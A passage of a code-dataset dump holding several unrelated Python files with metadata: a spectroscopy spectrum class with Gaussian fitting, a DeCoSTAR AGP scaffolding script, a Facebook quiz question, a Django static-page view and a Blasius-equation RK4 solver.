FrequencyAxis(omin, length, step)\n \n # spline interpolation \n tck = interpolate.splrep(om, y, s=0)\n ynew = interpolate.splev(waxis.data, tck, der=0)\n \n # setting the axis and data\n self.axis = waxis\n self.data = ynew\n \n \n def clear_data(self):\n \"\"\"Sets spectrum data to zero\n \n \"\"\"\n shp = self.data.shape\n self.data = numpy.zeros(shp, dtype=numpy.float64)\n\n def normalize2(self,norm=1.0):\n \"\"\"Normalizes spectrum to a given value\n \n \"\"\"\n mx = numpy.max(self.data)\n self.data = norm*self.data/mx\n\n def normalize(self):\n \"\"\"Normalization to one\n \n \"\"\"\n self.normalize2(norm=1.0)\n \n def subtract(self, val):\n \"\"\"Subtracts a value from the spectrum to shift its base line\n \n \"\"\"\n self.data -= val\n \n\n def add_to_data(self, spect):\n \"\"\"Performs addition on the data.\n \n Expects a compatible object holding absorption spectrum\n and adds its data to the present absorption spectrum.\n \n Parameters\n ----------\n \n spect : spectrum containing object\n This object should have a compatible axis and some data\n \n \"\"\"\n\n \n if self.axis is None:\n self.axis = spect.axis.copy()\n \n if not numpy.allclose(spect.axis.data, self.axis.data):\n numpy.savetxt(\"spect_data_wrong.dat\", spect.axis.data)\n numpy.savetxt(\"self_data_wrong.dat\", self.axis.data)\n raise Exception(\"Incompatible axis\")\n \n if self.data is None:\n self.data = numpy.zeros(len(spect.data),\n dtype=spect.axis.data.dtype)\n \n self.data += spect.data\n \n \n def load_data(self, filename, ext=None, replace=False):\n \"\"\"Load the spectrum from a file\n \n Uses the load method of the DFunction class to load the absorption\n spectrum from a file. It sets the axis type to 'frequency', otherwise\n no changes to the inherited method are applied.\n \n Parameters\n ----------\n \n \"\"\"\n super().load_data(filename, ext=ext, axis='frequency', replace=replace)\n\n #save method is inherited from DFunction \n \n \n \n def plot(self, **kwargs):\n \"\"\" Plotting absorption spectrum using the DFunction plot method\n \n \"\"\"\n if \"ylabel\" not in kwargs:\n ylabel = r'$\\alpha(\\omega)$ [a.u.]'\n kwargs[\"ylabel\"] = ylabel\n \n fig = super().plot(**kwargs)\n if fig is not None:\n return fig\n\n\n \n def gaussian_fit(self, N=1, guess=None, plot=False, Nsvf=251):\n from scipy.signal import savgol_filter\n from scipy.interpolate import UnivariateSpline\n \"\"\"Performs a Gaussian fit of the spectrum based on an initial guess\n \n \n Parameters\n ----------\n \n Nsvf : int\n Length of the Savitzky-Golay filter window (odd integer)\n \n \n \"\"\"\n x = self.axis.data\n y = self.data\n \n if guess is None:\n \n raise Exception(\"Guess is required at this time\")\n # FIXME: create a reasonable guess\n guess = [1.0, 11000.0, 300.0, 0.2,\n 11800, 400, 0.2, 12500, 300]\n \n #\n # Find local maxima and guess their parameters\n #\n\n # Fit with a given number of Gaussian functions\n \n if not self._splines_initialized:\n self._set_splines()\n \n # get first derivative and smooth it\n der = self._spline_r.derivative()\n y1 = der(x)\n y1sm = savgol_filter(y1,Nsvf,polyorder=3)\n \n # get second derivative and smooth it\n y1sm_spl_der = UnivariateSpline(x,y1sm,s=0).derivative()(x)\n y2sm = savgol_filter(y1sm_spl_der,Nsvf,polyorder=3)\n \n # find positions of optima by looking for zeros of y1sm\n \n \n # isolate maxima by looking at the value of y2sm\n \n\n #plt.plot(x, der(x))\n #plt.plot(x, y1sm)\n plt.plot(x, y2sm)\n plt.show()\n \n \n \n def funcf(x, *p):\n return _n_gaussians(x, N, *p)\n \n # minimize, leastsq,\n from scipy.optimize import curve_fit \n popt, pcov = curve_fit(funcf, x, y, p0=guess)\n \n if plot:\n \n plt.plot(x,y)\n plt.plot(x,_n_gaussians(x, N, *popt))\n for i in range(N):\n a = popt[3*i]\n print(i, a)\n b = popt[3*i+1]\n c = popt[3*i+2]\n y = _gaussian(x, a, b, c)\n plt.plot(x, y,'-r')\n plt.show()\n \n # FIXME: Create a readable report\n \n return popt, pcov\n \n# def convert_to_energy(self, eaxis, units):\n# \"\"\"\n# \n# \"\"\"\n# \n# if units == \"nm\":\n# x = self.axis.data\n# y = self.data\n# \n# # to cm\n# x = 1.0e-7*x\n# # to 1/cm\n# x = 1.0/x\n# # to rad/fs\n# x = x*cm2int\n# \n# xn = numpy.zeros(x.shape, dtype=x.dtype)\n# yn = numpy.zeros(y.shape, dtype=y.dtype) \n# \n# for i in range(len(x)):\n# xn[i] = x[len(x)-i-1]\n# yn[i] = y[len(x)-i-1]\n# \n# # spline it\n# \n# # evaluate at points if eaxis\n#\n \ndef _gaussian(x, height, center, fwhm, offset=0.0):\n \"\"\"Gaussian function with a possible offset\n \n \n Parameters\n ----------\n \n x : float array\n values to calculate Gaussian function at\n \n height : float\n height of the Gaussian at maximum\n \n center : float\n position of maximum\n \n fwhm : float\n full width at half maximum of the Gaussian function\n \n offset : float\n the value at infinity; effectively an offset on the y-axis\n \n \n \"\"\"\n \n return height*numpy.exp(-(((x - center)**2)*4.0*numpy.log(2.0))/\n (fwhm**2)) + offset \n\n\ndef _n_gaussians(x, N, *params):\n \"\"\"Sum of N Gaussian functions plus an offset from zero\n\n Parameters\n ----------\n \n x : float\n values to calculate Gaussians function at \n\n N : int\n number of Gaussians\n \n params : floats\n 3*N + 1 parameters corresponding to height, center, fwhm for each \n Gaussian and one value of offset\n \n \"\"\"\n n = len(params)\n k = n//3\n \n if (k*3 == n) and (k == N):\n \n res = 0.0\n pp = numpy.zeros(3)\n for i in range(k):\n pp[0:3] = params[3*i:3*i+3]\n #pp[3] = 0.0\n arg = tuple(pp)\n res += _gaussian(x, *arg)\n res += params[n-1] # last parameter is an offset\n return res\n \n else:\n raise Exception(\"Inconsistend number of parameters\") \n\n", "sub_path": "quantarhei/spectroscopy/absbase.py", "file_name": "absbase.py", "file_ext": "py", "file_size_in_byte": 9323, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "core.dfunction.DFunction", "line_number": 14, "usage_type": "name"}, {"api_name": "core.managers.EnergyUnitsManaged", "line_number": 14, "usage_type": "name"}, {"api_name": "core.units.cm2int", "line_number": 66, "usage_type": "name"}, {"api_name": "numpy.flip", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.flip", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.amin", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 75, "usage_type": "call"}, {"api_name": "core.frequency.FrequencyAxis", "line_number": 80, "usage_type": "call"}, {"api_name": "scipy.interpolate.splrep", "line_number": 83, "usage_type": "call"}, {"api_name": "scipy.interpolate", "line_number": 83, "usage_type": "name"}, {"api_name": "scipy.interpolate.splev", "line_number": 84, "usage_type": "call"}, {"api_name": "scipy.interpolate", "line_number": 84, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 96, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 142, "usage_type": "call"}, {"api_name": "scipy.signal.savgol_filter", "line_number": 215, "usage_type": "call"}, {"api_name": "scipy.interpolate.UnivariateSpline", "line_number": 218, "usage_type": "call"}, {"api_name": "scipy.signal.savgol_filter", "line_number": 219, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 229, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 229, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 230, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 230, "usage_type": "name"}, {"api_name": "scipy.optimize.curve_fit", "line_number": 239, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 243, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 243, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 244, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 244, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 251, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 251, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 252, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 252, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 311, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 311, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 338, "usage_type": "call"}]} {"seq_id": "276987596", "text": "#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n###\n### Goal:\n### Produce AGP files summarizing scaffolding results of DeCoSTAR\n###\n### INPUT:\n### 1- New adjacencies file\n### (27avian_dataset/results/decostar/ADseq+scaff_Boltz_kT0.1/DeCoSTAR_27avian_ADseq+scaff_Boltz_kT0.1_Linear_0.1_M_new_adjacencies_with_scaff)\n### 2- Genome assemblies directory\n### (27avian_dataset/data/INPUT_DATA/FASTA/SCAFF)\n### 3- prefix file \n### (DeCoSTAR_27avian_ADseq+scaff_Boltz_kT0.1_Lin0.1_M2_)\n### 4- AGP files path/prefix \n### (27avian_dataset/results/AGP/SCAFF/)\n###\n### OUTPUT:\n### - AGP files summarizing scaffolding results of DeCoSTAR\n###\n### Name: create_AGP_from_new_adjacencies.py Author: Yoann Anselmetti \n### Creation date: 2018/06/11 Last modification: 2020/11/04\n###\n\nfrom sys import argv\nfrom re import search\nfrom os import close, path, listdir, makedirs\nfrom datetime import datetime\nimport errno\nfrom collections import namedtuple #New in version 2.6\nfrom Bio import SeqIO\n\n\ndef mkdir_p(dir_path):\n try:\n makedirs(dir_path)\n except OSError as exc: # Python >2.5\n if exc.errno == errno.EEXIST and path.isdir(dir_path):\n pass\n else:\n raise\n\n\ndef get_SCAFF_ID(i):\n SCAFF_ID=\"\"\n i+=1\n if i>=1000000 and i<=9999999:\n SCAFF_ID=\"SCAFF\"+str(i)\n elif i>=100000:\n SCAFF_ID=\"SCAFF0\"+str(i)\n elif i>=10000:\n SCAFF_ID=\"SCAFF00\"+str(i)\n elif i>=1000:\n SCAFF_ID=\"SCAFF000\"+str(i)\n elif i>=100:\n SCAFF_ID=\"SCAFF0000\"+str(i)\n elif i>=10:\n SCAFF_ID=\"SCAFF00000\"+str(i)\n elif i>=1:\n SCAFF_ID=\"SCAFF000000\"+str(i)\n else:\n exit(\"ERROR too much scaffolds!!! -> (>9999999)\")\n return i,SCAFF_ID\n\n\ndef rev_ori(ori):\n if ori==\"-\":\n return \"+\"\n elif ori==\"+\":\n return \"-\"\n elif ori==\"?\":\n return \"?\"\n else:\n exit(\"ERROR, orientation: \\\"\"+ori+\"\\\" is incorrect, it should be \\\"+\\\" or \\\"-\\\"!!!\")\n\n\ndef rev_ctg_order(listCTG):\n new_listCTG=list()\n for i in range(1,len(listCTG)+1):\n rev_ctg=CTG(listCTG[-i].id,rev_ori(listCTG[-i].ori))\n new_listCTG.append(rev_ctg)\n return new_listCTG\n\n\ndef mergeCTG(species,ctg1,ctg2,ori_ctg1,ori_ctg2,dict_newSCAFF_ID,dict_newSCAFF,scaffold_ID_with_ctg_order,scaff_id):\n # Get new ID of ctg1 and ctg2 if they have been previously changed\n new_ctg1,new_ctg2=\"\",\"\"\n if species in dict_newSCAFF_ID:\n if ctg1 in dict_newSCAFF_ID[species]:\n new_ctg1=dict_newSCAFF_ID[species][ctg1]\n if ctg2 in dict_newSCAFF_ID[species]:\n new_ctg2=dict_newSCAFF_ID[species][ctg2]\n\n # If ctg1 has been previously changed\n new_ctg1_order=list()\n new_ctg2_order=list()\n if new_ctg1:\n first_ctg1=dict_newSCAFF[species][new_ctg1][0]\n last_ctg1=dict_newSCAFF[species][new_ctg1][-1]\n # Get the correct order of contigs in new_ctg1\n if ctg1==first_ctg1.id:\n new_ctg1_order=rev_ctg_order(dict_newSCAFF[species][new_ctg1])\n elif ctg1==last_ctg1.id:\n new_ctg1_order=dict_newSCAFF[species][new_ctg1]\n else:\n exit(\"ERROR, contig \\\"\"+ctg1+\"\\\" should be to the start or the end of the new contig \\\"\"+new_ctg1+\"\\\" !!!\")\n # Remove the previous version of \"new_ctg1\"\n dict_newSCAFF[species].pop(new_ctg1,None)\n\n # If ctg2 has been previously changed\n if new_ctg2: \n first_ctg2=dict_newSCAFF[species][new_ctg2][0]\n last_ctg2=dict_newSCAFF[species][new_ctg2][-1]\n # Get the correct order of contigs in new_27avian_dataset/data/INPUT_DATA/27avian_species.t2\n if ctg2==last_ctg2.id:\n new_ctg2_order=rev_ctg_order(dict_newSCAFF[species][new_ctg2])\n elif ctg2==first_ctg2.id:\n new_ctg2_order=dict_newSCAFF[species][new_ctg2]\n else:\n exit(\"ERROR, contig \\\"\"+ctg2+\"\\\" should be to the start or the end of the new contig \\\"\"+new_ctg2+\"\\\" !!!\")\n # Remove the previous version of \"new_ctg2\"\n dict_newSCAFF[species].pop(new_ctg2,None)\n\n # If ctg1 has NOT been previously changed\n if not new_ctg1_order:\n new_ctg1_order.append(CTG(ctg1,ori_ctg1))\n # If ctg2 has NOT been previously changed\n if not new_ctg2_order:\n new_ctg2_order.append(CTG(ctg2,ori_ctg2))\n\n # Concatenate the two CTG order to define the new SCAFF\n new_ctg_order=new_ctg1_order+new_ctg2_order\n\n\n # Set the ID of the new scaffold\n new_CTG_ID=\"\"\n ### If we set the scaffold ID with the ctg order list\n if scaffold_ID_with_ctg_order:\n for elem in new_ctg_order:\n ctg=elem.id\n ori=elem.ori\n short_ctg=ctg.split(sep)[0]\n if not new_CTG_ID:\n new_CTG_ID+=short_ctg+\"(\"+ori+\")\"\n else:\n new_CTG_ID+=\":\"+short_ctg+\"(\"+ori+\")\"\n ### If we set the scaffold ID with the format \"SCAFFXXXXXX\"\n else:\n if new_ctg1:\n new_CTG_ID=new_ctg1\n elif new_ctg2:\n new_CTG_ID=new_ctg2\n else:\n scaff_id,new_CTG_ID=get_SCAFF_ID(scaff_id)\n \n # \n if not species in dict_newSCAFF:\n dict_newSCAFF[species]=dict()\n dict_newSCAFF[species][new_CTG_ID]=new_ctg_order\n\n if not species in dict_newSCAFF_ID:\n dict_newSCAFF_ID[species]=dict()\n for elem in new_ctg_order:\n ctg=elem.id\n dict_newSCAFF_ID[species][ctg]=new_CTG_ID\n\n return scaff_id\n\n\n\n################\n### MAIN ###\n################\nif __name__ == '__main__':\n\n start_time = datetime.now()\n\n CTG=namedtuple(\"CTG\",[\"id\",\"ori\"])\n\n # Recovery of input parameters\n newAdj_file=argv[1]\n FASTA_dir=argv[2]\n file_prefix=argv[3]\n OUTPUT_AGP=argv[4]\n\n scaffold_ID_with_ctg_order=False\n write_unscaffolded_ctg=True\n default_gap_size=100\n verbose=1\n sep=\"_size\"\n\n # Create OUTPUT_DIR if not existing\n mkdir_p(OUTPUT_AGP)\n\n\n print(\"1/ Merge scaffolds linked by linearized new adjacencies\")\n dict_newSCAFF,dict_newSCAFF_ID,dict_distCTG=dict(),dict(),dict()\n input_file=open(newAdj_file,\"r\")\n scaff_id=0\n stored_species=\"\"\n for new_adj in input_file:\n r=search(\"^([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t\\n]*)\\n$\",new_adj)\n if r:\n species=r.group(1)\n ctg1=r.group(2)\n ctg2=r.group(3)\n ori_ctg1=r.group(4)\n ori_ctg2=r.group(5)\n dist_ctg=r.group(6)\n gf1=r.group(7)\n gf2=r.group(8)\n g1=r.group(9)\n g2=r.group(10)\n ori_g1=r.group(11)\n ori_g2=r.group(12)\n dist_gene=r.group(13)\n vscore=r.group(14)\n dscore=r.group(15)\n links=r.group(16)\n support=r.group(17)\n\n if species!=\"#species\":\n if stored_species!=species:\n scaff_id=0\n stored_species=species\n dict_distCTG[(ctg1,ctg2)]=dist_ctg\n scaff_id=mergeCTG(species,ctg1,ctg2,ori_ctg1,ori_ctg2,dict_newSCAFF_ID,dict_newSCAFF,scaffold_ID_with_ctg_order,scaff_id)\n input_file.close()\n dict_newSCAFF_ID.clear()\n\n\n # Print the new CTG ID after merging initial contigs/scaffoldsin new scaffolds \n if verbose>1:\n if verbose>2:\n print(\"\\n1bis/ Print association between new scaffolds ID and old scaffolds/contigs ID / species:\")\n else:\n print(\"\\n1bis/ Print new scaffolds ID / species:\")\n # Print new linked scaffolds / species \n for species in sorted(dict_newSCAFF):\n print(\"\\n\"+species+\":\")\n for ctg in dict_newSCAFF[species]:\n print(\"\\t\"+ctg)\n if verbose>2:\n for elem in dict_newSCAFF[species][ctg]:\n print(\"\\t\\t\", end=' ')\n print(elem)\n\n # Print distance between CTG pairs linked by DeCoSTAR\n if verbose>2:\n print(\"\\n\\t1ter/ Print distance between CTG pairs linked by DeCoSTAR:\")\n for distCTG in sorted(dict_distCTG):\n print(distCTG,\"\\t\",dict_distCTG[distCTG])\n\n\n print(\"\\n2/ Write AGP files after scaffolding with linearized new adjacencies predicted by DeCoSTAR\")\n for species in sorted(dict_newSCAFF):\n if verbose>0:\n print(\"\\t\"+species)\n output_agp=open(OUTPUT_AGP+\"/\"+file_prefix+species+\".agp\",\"w\")\n\n dict_CTG=dict()\n FASTA_FILE=\"\"\n for FASTA in sorted(listdir(FASTA_dir)):\n i=0\n spe=\"\"\n r=search(\"^([^\\.]*)\\..*$\",FASTA)\n if r:\n spe=r.group(1)\n else:\n exit(\"!!! ERROR, FASTA file name: \"+FASTA+\" is incorrectly written (Must be: ${species_name}.fa) !!!\")\n if spe==species:\n FASTA_FILE=FASTA_dir+\"/\"+FASTA\n # Browse FASTA file of current species to get list of scaffolds \n fasta_file=open(FASTA_dir+\"/\"+FASTA)\n for sequence in SeqIO.parse(fasta_file,\"fasta\"):\n ctg=sequence.id\n size=len(sequence.seq)\n dict_CTG[ctg]=size\n fasta_file.close()\n break\n\n for scaff in sorted(dict_newSCAFF[species]):\n listCTG=dict_newSCAFF[species][scaff]\n ID=\"\"\n gap_size=0\n posSTART=1\n posEND=0\n bool_default=False\n stored_CTG=\"\" \n for ctg in listCTG:\n ### Allow to discard duplicate CTG (corresponding to a circularizing adjacency predicted by DeCoSTAR)\n if ctg.id!=stored_CTG:\n stored_CTG=ctg.id\n ctg_size=dict_CTG[ctg.id]\n del dict_CTG[ctg.id]\n # Get size of the gap between the 2 scaffolded contigs (ID and ctg.id)\n if ID:\n if (ID,ctg.id) in dict_distCTG:\n if dict_distCTG[(ID,ctg.id)]==\"?\":\n bool_default=True\n gap_size=default_gap_size\n else:\n gap_size=int(float(dict_distCTG[(ID,ctg.id)]))\n # print gap_size\n if gap_size<0:\n if verbose>1:\n print(\"\\t!!!WARNING!!! => NEGATIVE distance between contigs \"+ID+\" and \"+ctg.id)\n elif (ctg.id,ID) in dict_distCTG:\n if dict_distCTG[(ctg.id,ID)]==\"?\":\n bool_default=True\n gap_size=default_gap_size\n else:\n gap_size=int(float(dict_distCTG[(ctg.id,ID)]))\n # print gap_size\n if gap_size<0:\n if verbose>1:\n print(\"\\t!!!WARNING!!! => NEGATIVE distance between contigs \"+ctg.id+\" and \"+ID)\n else:\n exit(\"ERROR: CTG adjacency (\"+ID+\"-\"+ctg.id+\") is not present in DeCoSTAR predicted adjacencies file: \"+newAdj_file)\n\n # Write gap in AGP file\n posEND+=gap_size\n if bool_default:\n output_agp.write(scaff+\"\\t\"+str(posSTART)+\"\\t\"+str(posEND)+\"\\t.\\tU\\t\"+str(gap_size)+\"\\tscaffold\\tno\\tna\\n\")\n else:\n output_agp.write(scaff+\"\\t\"+str(posSTART)+\"\\t\"+str(posEND)+\"\\t.\\tN\\t\"+str(gap_size)+\"\\tscaffold\\tyes\\tpaired-ends\\n\")\n bool_default=False\n posSTART=posEND+1\n posEND+=ctg_size\n\n # Write current contig in the AGP file\n ID=ctg.id\n ori=ctg.ori\n output_agp.write(scaff+\"\\t\"+str(posSTART)+\"\\t\"+str(posEND)+\"\\t.\\tW\\t\"+ID+\"\\t1\\t\"+str(ctg_size)+\"\\t\"+ori+\"\\n\")\n posSTART=posEND+1\n\n # Write remaining contigs (not scaffolded) in the AGP file\n if write_unscaffolded_ctg:\n for ctg in sorted(dict_CTG):\n ctg_size=dict_CTG[ctg]\n output_agp.write(ctg+\"\\t1\\t\"+str(ctg_size)+\"\\t.\\tW\\t\"+ctg+\"\\t1\\t\"+str(ctg_size)+\"\\t+\\n\")\n output_agp.close()\n\n\n end_time = datetime.now()\n print('\\nDuration: {}'.format(end_time-start_time))\n", "sub_path": "bin/scripts/post_decostar/create_AGP_from_new_adjacencies.py", "file_name": "create_AGP_from_new_adjacencies.py", "file_ext": "py", "file_size_in_byte": 11957, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.makedirs", "line_number": 35, "usage_type": "call"}, {"api_name": "errno.EEXIST", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 175, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 175, "usage_type": "name"}, {"api_name": "collections.namedtuple", "line_number": 177, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 180, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 181, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 182, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 183, "usage_type": "name"}, {"api_name": "re.search", "line_number": 201, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 262, "usage_type": "call"}, {"api_name": "re.search", "line_number": 265, "usage_type": "call"}, {"api_name": "Bio.SeqIO.parse", "line_number": 274, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 274, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 344, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 344, "usage_type": "name"}]} {"seq_id": "560657637", "text": "from datetime import datetime\nfrom collections import defaultdict\nfrom math import exp\n\nfrom extreme_amount_question import HighestAmountQuestion\nfrom utils import get_paged_data\n\ndef weight(photo):\n taken = datetime.strptime(photo['created_time'][:10], '%Y-%m-%d')\n days_elapsed = (datetime.now() - taken).days + 1\n if days_elapsed < 0:\n raise Exception('Picture is dated ahead of today')\n return int(10 * exp((-0.002) * days_elapsed))\n\nclass MostTaggedWithQuestion(HighestAmountQuestion):\n QUESTION_TEXT = \\\n 'Out of the following, who has %s been tagged most with recently?'\n\n @classmethod\n def gen(cls, self_data, friend_data):\n tags = defaultdict(int)\n for photo in get_paged_data(friend_data, 'photos'):\n for tag in get_paged_data(photo, 'tags'):\n if 'id' not in tag:\n continue # Ignore tags of non-fb objects\n tags[tag['name']] += weight(photo)\n del tags[friend_data['name']]\n return cls(tags)\n", "sub_path": "Lowdown_Backend/Lowdown/Facebook_App/questions/most_tagged_with_question.py", "file_name": "most_tagged_with_question.py", "file_ext": "py", "file_size_in_byte": 1035, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.datetime.strptime", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 9, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 10, "usage_type": "name"}, {"api_name": "math.exp", "line_number": 13, "usage_type": "call"}, {"api_name": "extreme_amount_question.HighestAmountQuestion", "line_number": 15, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 21, "usage_type": "call"}, {"api_name": "utils.get_paged_data", "line_number": 22, "usage_type": "call"}, {"api_name": "utils.get_paged_data", "line_number": 23, "usage_type": "call"}]} {"seq_id": "587561513", "text": "from fatpages.models import Fatpage as mFatpage\nfrom django.template import loader, RequestContext\nfrom django.shortcuts import get_object_or_404\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.conf import settings\nfrom django.core.xheaders import populate_xheaders\nfrom django.utils.safestring import mark_safe\n\nDEFAULT_TEMPLATE = 'Fatpages/default.html'\n\ndef Fatpage(request, url):\n \"\"\"\n Flat page view.\n\n Models: `Fatpages.Fatpages`\n Templates: Uses the template defined by the ``template_name`` field,\n or `Fatpages/default.html` if template_name is not defined.\n Context:\n Fatpage\n `Fatpages.Fatpages` object\n \"\"\"\n if not url.endswith('/') and settings.APPEND_SLASH:\n return HttpResponseRedirect(\"%s/\" % request.path)\n if not url.startswith('/'):\n url = \"/\" + url\n f = get_object_or_404(mFatpage, url__exact=url)\n # If registration is required for accessing this page, and the user isn't\n # logged in, redirect to the login page.\n if f.registration_required and not request.user.is_authenticated():\n from django.contrib.auth.views import redirect_to_login\n return redirect_to_login(request.path)\n if f.template_name:\n t = loader.select_template((f.template_name, DEFAULT_TEMPLATE))\n else:\n t = loader.get_template(DEFAULT_TEMPLATE)\n\n # To avoid having to always use the \"|safe\" filter in Fatpage templates,\n # mark the title and content as already safe (since they are raw HTML\n # content in the first place).\n f.title = mark_safe(f.title)\n f.content = mark_safe(f.content)\n f.headmatter = mark_safe(f.headmatter)\n\n c = RequestContext(request, {\n 'fatpage': f,\n })\n response = HttpResponse(t.render(c))\n populate_xheaders(request, response, mFatpage, f.id)\n return response\n", "sub_path": "views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1851, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.conf.settings.APPEND_SLASH", "line_number": 22, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 22, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 23, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 26, "usage_type": "call"}, {"api_name": "fatpages.models.Fatpage", "line_number": 26, "usage_type": "argument"}, {"api_name": "django.contrib.auth.views.redirect_to_login", "line_number": 31, "usage_type": "call"}, {"api_name": "django.template.loader.select_template", "line_number": 33, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 33, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 35, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 35, "usage_type": "name"}, {"api_name": "django.utils.safestring.mark_safe", "line_number": 40, "usage_type": "call"}, {"api_name": "django.utils.safestring.mark_safe", "line_number": 41, "usage_type": "call"}, {"api_name": "django.utils.safestring.mark_safe", "line_number": 42, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 44, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 47, "usage_type": "call"}, {"api_name": "django.core.xheaders.populate_xheaders", "line_number": 48, "usage_type": "call"}, {"api_name": "fatpages.models.Fatpage", "line_number": 48, "usage_type": "argument"}]} {"seq_id": "252627206", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\nclass Blasius :\n def __init__(self, end, stepsize) :\n self.init = 0\n self.end = end\n self.h = stepsize\n self.x = np.arange(self.init, self.end + self.h, self.h)\n\n def solve(self):\n #f'' = z로 두면 dz/dx = -2 * z * y (f''' = -2 f'' f)\n self.y = np.zeros(self.x.shape)\n self.y1 = np.zeros(self.x.shape)\n self.y2 = np.zeros(self.x.shape)\n self.y3 = np.zeros(self.x.shape)\n self.y[0] = 0\n self.y1[0] = 0\n randominit = np.arange(0, 2, 0.001)\n print('''Searching the value of f''(0)''')\n for init in randominit :\n self.y2[0] = init\n for i in range(len(self.x) - 1) :\n k1 = -2 * self.y[i] * self.y2[i]\n k2 = -2 * (self.y[i] + self.y1[i] * self.h / 2) * (self.y2[i] + k1 * self.h / 2)\n k3 = -2 * (self.y[i] + self.y1[i] * self.h / 2) * (self.y2[i] + k2 * self.h / 2)\n k4 = -2 * (self.y[i] + self.y1[i] * self.h) * (self.y2[i] + k3 * self.h)\n self.y2[i+1] = self.y2[i] + self.h * (k1 + 2*k2 + 2*k3 + k4) / 6\n self.y1[i+1] = self.y1[i] + self.h * self.y2[i]\n self.y[i+1] = self.y[i] + self.h * self.y1[i]\n if 0.999 < abs(self.y1[-1]) < 1.001 :\n print(\"\"\"Proper initial Value for f''(0) = {} (f'(inf) = {})\"\"\"\n .format(init, self.y1[-1]))\n break\n print(''' x / f(x) / f'(x) ''')\n for i in range(len(self.x)) :\n print(''' {} / {} / {} '''.\n format(round(self.x[i], 5), round(self.y[i], 5), round(self.y1[i], 5)))\n # x = 0 부터 x = 2.5까지 f'(x) ** 2의 적분값을 구하기 위한 수치적분\n int = 0\n for i in range(len(self.x)) :\n if self.x[i] > 2.5 :\n break\n int += self.h * self.y1[i]**2\n print('int value = {}'.format(int))\n\n plt.title('Blasius Equation using Shooting Method and RK4')\n plt.plot(self.x, self.y, 'blue', label = 'f(x)')\n plt.plot(self.x, self.y1, 'red', label = '''f'(x)''')\n plt.plot(self.x, self.y2, 'green', label = '''f''(x)''')\n plt.legend()\n plt.show()\n\nBlasius(6, 0.01).solve()", "sub_path": "Blasius Equation/1. Blasius Equation(RK4).py", "file_name": "1. Blasius Equation(RK4).py", "file_ext": "py", "file_size_in_byte": 2346, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.arange", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 14, "usage_type": "call"}, 